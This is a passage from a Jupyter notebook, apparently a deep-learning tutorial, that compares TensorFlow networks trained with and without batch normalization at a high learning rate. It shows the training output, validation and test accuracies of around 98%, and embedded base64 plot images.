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\nL7MhH1jUT5fVAAAAAElFTkSuQmCC\n", "text/plain": [ "<matplotlib.figure.Figure at 0x7ffa6b4cafd0>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "train_and_test(False, 2, tf.nn.relu)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "With this very large learning rate, the network with batch normalization trains fine and almost immediately manages 98% accuracy. However, the network without normalization doesn't learn at all." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**The following creates two networks using a sigmoid activation function, a learning rate of 2, and reasonable starting weights.**" ] }, { "cell_type": "code", "execution_count": 12, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [00:35<00:00, 1395.37it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "Without Batch Norm: After training, final accuracy on validation set = 0.9795997142791748\n" ] }, { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [01:38<00:00, 506.05it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "With Batch Norm: After training, final accuracy on validation set = 0.9803997278213501\n", "---------------------------------------------------------------------------\n", "Without Batch Norm: Accuracy on full test set = 0.9782001376152039\n", "---------------------------------------------------------------------------\n", "With Batch Norm: Accuracy on full test set = 0.9782000780105591\n" ] }, { "data": { "image/png": "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\nT8EZkmo1BWOMaSuTjuYHR